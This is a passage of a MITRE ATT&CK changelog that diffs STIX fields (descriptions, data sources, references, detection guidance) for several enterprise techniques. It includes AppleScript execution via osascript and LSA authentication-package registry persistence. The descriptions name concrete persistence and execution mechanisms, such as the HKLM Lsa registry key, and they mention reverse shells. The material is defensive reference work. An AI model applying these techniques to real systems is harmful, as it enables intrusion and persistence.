| iques/T1078)). | | ion](https://attack.mitre.org/techniques/T1598)), establishi |
| | | ng operational resources (ex: [Compromise Accounts](https:// |
| | | attack.mitre.org/techniques/T1586)), and/or initial access ( |
| | | ex: [Phishing](https://attack.mitre.org/techniques/T1566) or |
| | | [Valid Accounts](https://attack.mitre.org/techniques/T1078) |
| | | ). |
New Detections:
- DS0029: Network Traffic (Network Traffic Content)
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_contributors | | ['Jannie Li, Microsoft Threat Intelligence\u202fCenter\u202f(MSTIC)'] |
| x_mitre_data_sources | | ['Network Traffic: Network Traffic Content', 'Network Traffic: Network Traffic Content'] |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-15 03:27:49.579000+00:00 | 2022-04-21 14:39:39.857000+00:00 |
| description | Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, etc.) as well as sensitive details such as credentials.
Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). | Adversaries may gather information about the victim's identity that can be used during targeting. Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, etc.) as well as sensitive details such as credentials.
Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Information about users could also be enumerated via other active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system.(Citation: GrimBlog UsernameEnum) Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: Forbes GitHub Creds)(Citation: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks)
Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). |
| external_references[2]['source_name'] | Register Deloitte | Detectify Slack Tokens |
| external_references[2]['description'] | Thomson, I. (2017, September 26). Deloitte is a sitting duck: Key systems with RDP open, VPN and proxy 'login details leaked'. Retrieved October 19, 2020. | Detectify. (2016, April 28). Slack bot token leakage exposing business critical information. Retrieved October 19, 2020. |
| external_references[2]['url'] | https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/ | https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/ |
| external_references[3]['source_name'] | Register Uber | GitHub truffleHog |
| external_references[3]['description'] | McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub into court to find who hacked database of 50,000 drivers. Retrieved October 19, 2020. | Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October 19, 2020. |
| external_references[3]['url'] | https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/ | https://github.com/dxa4481/truffleHog |
| external_references[4]['source_name'] | Detectify Slack Tokens | GrimBlog UsernameEnum |
| external_references[4]['description'] | Detectify. (2016, April 28). Slack bot token leakage exposing business critical information. Retrieved October 19, 2020. | GrimHacker. (2017, July 24). Office365 ActiveSync Username Enumeration. Retrieved December 9, 2021. |
| external_references[4]['url'] | https://labs.detectify.com/2016/04/28/slack-bot-token-leakage-exposing-business-critical-information/ | https://grimhacker.com/2017/07/24/office365-activesync-username-enumeration/ |
| external_references[5]['source_name'] | Forbes GitHub Creds | Register Uber |
| external_references[5]['description'] | Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved October 19, 2020. | McCarthy, K. (2015, February 28). FORK ME! Uber hauls GitHub into court to find who hacked database of 50,000 drivers. Retrieved October 19, 2020. |
| external_references[5]['url'] | https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196 | https://www.theregister.com/2015/02/28/uber_subpoenas_github_for_hacker_details/ |
| external_references[6]['source_name'] | GitHub truffleHog | GitHub Gitrob |
| external_references[6]['description'] | Dylan Ayrey. (2016, December 31). truffleHog. Retrieved October 19, 2020. | Michael Henriksen. (2018, June 9). Gitrob: Putting the Open Source in OSINT. Retrieved October 19, 2020. |
| external_references[6]['url'] | https://github.com/dxa4481/truffleHog | https://github.com/michenriksen/gitrob |
| external_references[7]['source_name'] | GitHub Gitrob | CNET Leaks |
| external_references[7]['description'] | Michael Henriksen. (2018, June 9). Gitrob: Putting the Open Source in OSINT. Retrieved October 19, 2020. | Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020. |
| external_references[7]['url'] | https://github.com/michenriksen/gitrob | https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/ |
| external_references[8]['source_name'] | CNET Leaks | Forbes GitHub Creds |
| external_references[8]['description'] | Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020. | Sandvik, R. (2014, January 14). Attackers Scrape GitHub For Cloud Service Credentials, Hijack Account To Mine Virtual Currency. Retrieved October 19, 2020. |
| external_references[8]['url'] | https://www.cnet.com/news/massive-breach-leaks-773-million-emails-21-million-passwords/ | https://www.forbes.com/sites/runasandvik/2014/01/14/attackers-scrape-github-for-cloud-service-credentials-hijack-account-to-mine-virtual-currency/#242c479d3196 |
| x_mitre_detection | Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. | Monitor for suspicious network traffic that could be indicative of probing for user information, such as large/iterative quantities of authentication requests originating from a single source (especially if the source is known to be associated with an adversary/botnet). Analyzing web metadata may also reveal artifacts that can be attributed to potentially malicious activity, such as referer or user-agent string HTTP/S fields.
Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.
Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access. |
| x_mitre_version | 1.0 | 1.2 |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| external_references | | {'source_name': 'Register Deloitte', 'description': "Thomson, I. (2017, September 26). Deloitte is a sitting duck: Key systems with RDP open, VPN and proxy 'login details leaked'. Retrieved October 19, 2020.", 'url': 'https://www.theregister.com/2017/09/26/deloitte_leak_github_and_google/'} |
Patches
[T1548] Abuse Elevation Control Mechanism
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-07-22 21:36:52.825000+00:00 | 2022-03-21 19:01:25.043000+00:00 |
| x_mitre_data_sources[0] | Process: Process Metadata | File: File Metadata |
| x_mitre_data_sources[1] | Process: Process Creation | Process: OS API Execution |
| x_mitre_data_sources[2] | Windows Registry: Windows Registry Key Modification | Process: Process Creation |
| x_mitre_data_sources[3] | Command: Command Execution | File: File Modification |
| x_mitre_data_sources[4] | File: File Metadata | Process: Process Metadata |
| x_mitre_data_sources[5] | File: File Modification | Windows Registry: Windows Registry Key Modification |
| x_mitre_data_sources[6] | Process: OS API Execution | Command: Command Execution |
[T1595] Active Scanning
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-15 03:20:09.600000+00:00 | 2022-03-08 20:58:13.661000+00:00 |
| x_mitre_data_sources[0] | Network Traffic: Network Traffic Flow | Network Traffic: Network Traffic Content |
| x_mitre_data_sources[1] | Network Traffic: Network Traffic Content | Network Traffic: Network Traffic Flow |
[T1059.002] Command and Scripting Interpreter: AppleScript
Current version: 1.1
|
|
|---|
| t | Adversaries may abuse AppleScript for execution. AppleScript | t | Adversaries may abuse AppleScript for execution. AppleScript |
| is a macOS scripting language designed to control applicati | | is a macOS scripting language designed to control applicati |
| ons and parts of the OS via inter-application messages calle | | ons and parts of the OS via inter-application messages calle |
| d AppleEvents.(Citation: Apple AppleScript) These AppleEvent | | d AppleEvents.(Citation: Apple AppleScript) These AppleEvent |
| messages can be sent independently or easily scripted with | | messages can be sent independently or easily scripted with |
| AppleScript. These events can locate open windows, send keys | | AppleScript. These events can locate open windows, send keys |
| trokes, and interact with almost any open application locall | | trokes, and interact with almost any open application locall |
| y or remotely. Scripts can be run from the command-line via | | y or remotely. Scripts can be run from the command-line via |
| <code>osascript /path/to/script</code> or <code>osascript - | | <code>osascript /path/to/script</code> or <code>osascript - |
| e "script here"</code>. Aside from the command line, scripts | | e "script here"</code>. Aside from the command line, scripts |
| can be executed in numerous ways including Mail rules, Cale | | can be executed in numerous ways including Mail rules, Cale |
| ndar.app alarms, and Automator workflows. AppleScripts can a | | ndar.app alarms, and Automator workflows. AppleScripts can a |
| lso be executed as plain text shell scripts by adding <code> | | lso be executed as plain text shell scripts by adding <code> |
| #!/usr/bin/osascript</code> to the start of the script file. | | #!/usr/bin/osascript</code> to the start of the script file. |
| (Citation: SentinelOne AppleScript) AppleScripts do not nee | | (Citation: SentinelOne AppleScript) AppleScripts do not nee |
| d to call <code>osascript</code> to execute, however. They m | | d to call <code>osascript</code> to execute, however. They m |
| ay be executed from within mach-O binaries by using the macO | | ay be executed from within mach-O binaries by using the macO |
| S [Native API](https://attack.mitre.org/techniques/T1106)s < | | S [Native API](https://attack.mitre.org/techniques/T1106)s < |
| code>NSAppleScript</code> or <code>OSAScript</code>, both of | | code>NSAppleScript</code> or <code>OSAScript</code>, both of |
| which execute code independent of the <code>/usr/bin/osascr | | which execute code independent of the <code>/usr/bin/osascr |
| ipt</code> command line utility. Adversaries may abuse Appl | | ipt</code> command line utility. Adversaries may abuse Appl |
| eScript to execute various behaviors, such as interacting wi | | eScript to execute various behaviors, such as interacting wi |
| th an open SSH connection, moving to remote machines, and ev | | th an open SSH connection, moving to remote machines, and ev |
| en presenting users with fake dialog boxes. These events can | | en presenting users with fake dialog boxes. These events can |
| not start applications remotely (they can start them locally | | not start applications remotely (they can start them locally |
| ), but they can interact with applications if they're alread | | ), but they can interact with applications if they're alread |
| y running remotely. On macOS 10.10 Yosemite and higher, Appl | | y running remotely. On macOS 10.10 Yosemite and higher, Appl |
| eScript has the ability to execute [Native API](https://atta | | eScript has the ability to execute [Native API](https://atta |
| ck.mitre.org/techniques/T1106)s, which otherwise would requi | | ck.mitre.org/techniques/T1106)s, which otherwise would requi |
| re compilation and execution in a mach-O binary file format. | | re compilation and execution in a mach-O binary file format. |
| (Citation: SentinelOne macOS Red Team). Since this is a scri | | (Citation: SentinelOne macOS Red Team) Since this is a scrip |
| pting language, it can be used to launch more common techniq | | ting language, it can be used to launch more common techniqu |
| ues as well such as a reverse shell via [Python](https://att | | es as well such as a reverse shell via [Python](https://atta |
| ack.mitre.org/techniques/T1059/006).(Citation: Macro Malware | | ck.mitre.org/techniques/T1059/006).(Citation: Macro Malware |
| Targets Macs) | | Targets Macs) |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| x_mitre_remote_support | | False |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_permissions_required | ['User'] | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-08-03 21:40:51.878000+00:00 | 2022-04-19 20:26:48.143000+00:00 |
| description | Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript) These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.
Scripts can be run from the command-line via osascript /path/to/script or osascript -e "script here". Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows. AppleScripts can also be executed as plain text shell scripts by adding #!/usr/bin/osascript to the start of the script file.(Citation: SentinelOne AppleScript)
AppleScripts do not need to call osascript to execute, however. They may be executed from within mach-O binaries by using the macOS [Native API](https://attack.mitre.org/techniques/T1106)s NSAppleScript or OSAScript, both of which execute code independent of the /usr/bin/osascript command line utility.
Adversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute [Native API](https://attack.mitre.org/techniques/T1106)s, which otherwise would require compilation and execution in a mach-O binary file format.(Citation: SentinelOne macOS Red Team). Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via [Python](https://attack.mitre.org/techniques/T1059/006).(Citation: Macro Malware Targets Macs) | Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript) These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely.
Scripts can be run from the command-line via osascript /path/to/script or osascript -e "script here". Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows. AppleScripts can also be executed as plain text shell scripts by adding #!/usr/bin/osascript to the start of the script file.(Citation: SentinelOne AppleScript)
AppleScripts do not need to call osascript to execute, however. They may be executed from within mach-O binaries by using the macOS [Native API](https://attack.mitre.org/techniques/T1106)s NSAppleScript or OSAScript, both of which execute code independent of the /usr/bin/osascript command line utility.
Adversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute [Native API](https://attack.mitre.org/techniques/T1106)s, which otherwise would require compilation and execution in a mach-O binary file format.(Citation: SentinelOne macOS Red Team) Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via [Python](https://attack.mitre.org/techniques/T1059/006).(Citation: Macro Malware Targets Macs) |
| external_references[2]['source_name'] | SentinelOne AppleScript | SentinelOne macOS Red Team |
| external_references[2]['description'] | Phil Stokes. (2020, March 16). How Offensive Actors Use AppleScript For Attacking macOS. Retrieved July 17, 2020. | Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020. |
| external_references[2]['url'] | https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/ | https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/ |
| external_references[3]['source_name'] | SentinelOne macOS Red Team | SentinelOne AppleScript |
| external_references[3]['description'] | Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020. | Phil Stokes. (2020, March 16). How Offensive Actors Use AppleScript For Attacking macOS. Retrieved July 17, 2020. |
| external_references[3]['url'] | https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/ | https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/ |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | Command: Command Execution |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | Command: Command Execution | |
[T1560] Archive Collected Data
Current version: 1.0
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-10-21 16:36:55.831000+00:00 | 2022-01-04 18:44:10.398000+00:00 |
| x_mitre_data_sources[0] | Process: Process Creation | File: File Creation |
| x_mitre_data_sources[2] | File: File Creation | Script: Script Execution |
| x_mitre_data_sources[3] | Script: Script Execution | Process: Process Creation |
[T1547.002] Boot or Logon Autostart Execution: Authentication Package
Current version: 1.0
|
|
|---|
| t | Adversaries may abuse authentication packages to execute DLL | t | Adversaries may abuse authentication packages to execute DLL |
| s when the system boots. Windows authentication package DLLs | | s when the system boots. Windows authentication package DLLs |
| are loaded by the Local Security Authority (LSA) process at | | are loaded by the Local Security Authority (LSA) process at |
| system start. They provide support for multiple logon proce | | system start. They provide support for multiple logon proce |
| sses and multiple security protocols to the operating system | | sses and multiple security protocols to the operating system |
| . (Citation: MSDN Authentication Packages) Adversaries can | | .(Citation: MSDN Authentication Packages) Adversaries can u |
| use the autostart mechanism provided by LSA authentication p | | se the autostart mechanism provided by LSA authentication pa |
| ackages for persistence by placing a reference to a binary i | | ckages for persistence by placing a reference to a binary in |
| n the Windows Registry location <code>HKLM\SYSTEM\CurrentCon | | the Windows Registry location <code>HKLM\SYSTEM\CurrentCont |
| trolSet\Control\Lsa\</code> with the key value of <code>"Aut | | rolSet\Control\Lsa\</code> with the key value of <code>"Auth |
| hentication Packages"=<target binary></code>. The bina | | entication Packages"=<target binary></code>. The binar |
| ry will then be executed by the system when the authenticati | | y will then be executed by the system when the authenticatio |
| on packages are loaded. | | n packages are loaded. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2020-03-25 15:11:25.821000+00:00 | 2022-04-20 16:29:36.291000+00:00 |
| description | Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system. (Citation: MSDN Authentication Packages)
Adversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ with the key value of "Authentication Packages"=<target binary>. The binary will then be executed by the system when the authentication packages are loaded. | Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system.(Citation: MSDN Authentication Packages)
Adversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\SYSTEM\CurrentControlSet\Control\Lsa\ with the key value of "Authentication Packages"=<target binary>. The binary will then be executed by the system when the authentication packages are loaded. |
| external_references[1]['source_name'] | MSDN Authentication Packages | Graeber 2014 |
| external_references[1]['description'] | Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017. | Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017. |
| external_references[1]['url'] | https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx | http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html |
| external_references[2]['source_name'] | Graeber 2014 | Microsoft Configure LSA |
| external_references[2]['description'] | Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017. | Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015. |
| external_references[2]['url'] | http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html | https://technet.microsoft.com/en-us/library/dn408187.aspx |
| external_references[3]['source_name'] | Microsoft Configure LSA | MSDN Authentication Packages |
| external_references[3]['description'] | Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015. | Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017. |
| external_references[3]['url'] | https://technet.microsoft.com/en-us/library/dn408187.aspx | https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | Command: Command Execution |
iterable_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | Command: Command Execution | |
[T1020] Automated Exfiltration
Current version: 1.2
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_network_requirements | True | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-08-16 15:23:38.940000+00:00 | 2022-04-19 22:50:14.956000+00:00 |
| x_mitre_data_sources[0] | Command: Command Execution | Network Traffic: Network Traffic Flow |
| x_mitre_data_sources[1] | Script: Script Execution | File: File Access |
| x_mitre_data_sources[2] | Network Traffic: Network Connection Creation | Command: Command Execution |
| x_mitre_data_sources[3] | Network Traffic: Network Traffic Flow | Script: Script Execution |
| x_mitre_data_sources[5] | File: File Access | Network Traffic: Network Connection Creation |
[T1547] Boot or Logon Autostart Execution
Current version: 1.1
|
|
|---|
| t | Adversaries may configure system settings to automatically e | t | Adversaries may configure system settings to automatically e |
| xecute a program during system boot or logon to maintain per | | xecute a program during system boot or logon to maintain per |
| sistence or gain higher-level privileges on compromised syst | | sistence or gain higher-level privileges on compromised syst |
| ems. Operating systems may have mechanisms for automatically | | ems. Operating systems may have mechanisms for automatically |
| running a program on system boot or account logon.(Citation | | running a program on system boot or account logon.(Citation |
| : Microsoft Run Key)(Citation: MSDN Authentication Packages) | | : Microsoft Run Key)(Citation: MSDN Authentication Packages) |
| (Citation: Microsoft TimeProvider)(Citation: Cylance Reg Per | | (Citation: Microsoft TimeProvider)(Citation: Cylance Reg Per |
| sistence Sept 2013)(Citation: Linux Kernel Programming) The | | sistence Sept 2013)(Citation: Linux Kernel Programming) Thes |
| se mechanisms may include automatically executing programs t | | e mechanisms may include automatically executing programs th |
| hat are placed in specially designated directories or are re | | at are placed in specially designated directories or are ref |
| ferenced by repositories that store configuration informatio | | erenced by repositories that store configuration information |
| n, such as the Windows Registry. An adversary may achieve th | | , such as the Windows Registry. An adversary may achieve the |
| e same goal by modifying or extending features of the kernel | | same goal by modifying or extending features of the kernel. |
| . Since some boot or logon autostart programs run with high | | Since some boot or logon autostart programs run with highe |
| er privileges, an adversary may leverage these to elevate pr | | r privileges, an adversary may leverage these to elevate pri |
| ivileges. | | vileges. |
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_attack_spec_version | | 2.1.0 |
| x_mitre_deprecated | | False |
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
| external_references | | Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018. |
| external_references | | CAPEC-564 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| external_references | CAPEC-564 | |
| external_references | Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-10-19 04:03:47.056000+00:00 | 2022-04-18 22:21:27.840000+00:00 |
| description | Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.
Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges. | Adversaries may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems. Operating systems may have mechanisms for automatically running a program on system boot or account logon.(Citation: Microsoft Run Key)(Citation: MSDN Authentication Packages)(Citation: Microsoft TimeProvider)(Citation: Cylance Reg Persistence Sept 2013)(Citation: Linux Kernel Programming) These mechanisms may include automatically executing programs that are placed in specially designated directories or are referenced by repositories that store configuration information, such as the Windows Registry. An adversary may achieve the same goal by modifying or extending features of the kernel.
Since some boot or logon autostart programs run with higher privileges, an adversary may leverage these to elevate privileges. |
| external_references[1]['source_name'] | capec | Cylance Reg Persistence Sept 2013 |
| external_references[1]['url'] | https://capec.mitre.org/data/definitions/564.html | https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order |
| external_references[2]['source_name'] | Microsoft Run Key | MSDN Authentication Packages |
| external_references[2]['description'] | Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014. | Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017. |
| external_references[2]['url'] | http://msdn.microsoft.com/en-us/library/aa376977 | https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx |
| external_references[3]['source_name'] | MSDN Authentication Packages | Microsoft Run Key |
| external_references[3]['description'] | Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017. | Microsoft. (n.d.). Run and RunOnce Registry Keys. Retrieved November 12, 2014. |
| external_references[3]['url'] | https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx | http://msdn.microsoft.com/en-us/library/aa376977 |
| external_references[5]['source_name'] | Cylance Reg Persistence Sept 2013 | Linux Kernel Programming |
| external_references[5]['description'] | Langendorf, S. (2013, September 24). Windows Registry Persistence, Part 2: The Run Keys and Search-Order. Retrieved April 11, 2018. | Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018. |
| external_references[5]['url'] | https://blog.cylance.com/windows-registry-persistence-part-2-the-run-keys-and-search-order | https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf |
| external_references[6]['source_name'] | Linux Kernel Programming | TechNet Autoruns |
| external_references[6]['description'] | Pomerantz, O., Salzman, P.. (2003, April 4). The Linux Kernel Module Programming Guide. Retrieved April 6, 2018. | Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016. |
| external_references[6]['url'] | https://www.tldp.org/LDP/lkmpg/2.4/lkmpg.pdf | https://technet.microsoft.com/en-us/sysinternals/bb963902 |
| external_references[7]['source_name'] | TechNet Autoruns | capec |
| external_references[7]['url'] | https://technet.microsoft.com/en-us/sysinternals/bb963902 | https://capec.mitre.org/data/definitions/564.html |
| x_mitre_data_sources[0] | File: File Creation | Process: OS API Execution |
| x_mitre_data_sources[1] | Windows Registry: Windows Registry Key Creation | Command: Command Execution |
| x_mitre_data_sources[2] | Windows Registry: Windows Registry Key Modification | File: File Modification |
| x_mitre_data_sources[3] | File: File Modification | File: File Creation |
| x_mitre_data_sources[4] | Command: Command Execution | Kernel: Kernel Module Load |
| x_mitre_data_sources[5] | Process: Process Creation | Module: Module Load |
| x_mitre_data_sources[6] | Module: Module Load | Driver: Driver Load |
| x_mitre_data_sources[7] | Kernel: Kernel Module Load | Process: Process Creation |
| x_mitre_data_sources[8] | Driver: Driver Load | Windows Registry: Windows Registry Key Creation |
| x_mitre_data_sources[9] | Process: OS API Execution | Windows Registry: Windows Registry Key Modification |
[T1037] Boot or Logon Initialization Scripts
Current version: 2.1
Details
dictionary_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_domains | | ['enterprise-attack'] |
| x_mitre_modified_by_ref | | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 |
dictionary_item_removed| STIX Field | Old value | New Value |
|---|
| x_mitre_is_subtechnique | False | |
values_changed| STIX Field | Old value | New Value |
|---|
| modified | 2021-04-27 19:58:02.332000+00:00 | 2022-04-01 19:04:02.610000+00:00 |
| x_mitre_data_sources[1] | Process: Process Creation | Active Directory: Active Directory Object Modification |
iterable_item_added| STIX Field | Old value | New Value |
|---|
| x_mitre_data_sources | | Process: Process Creation |
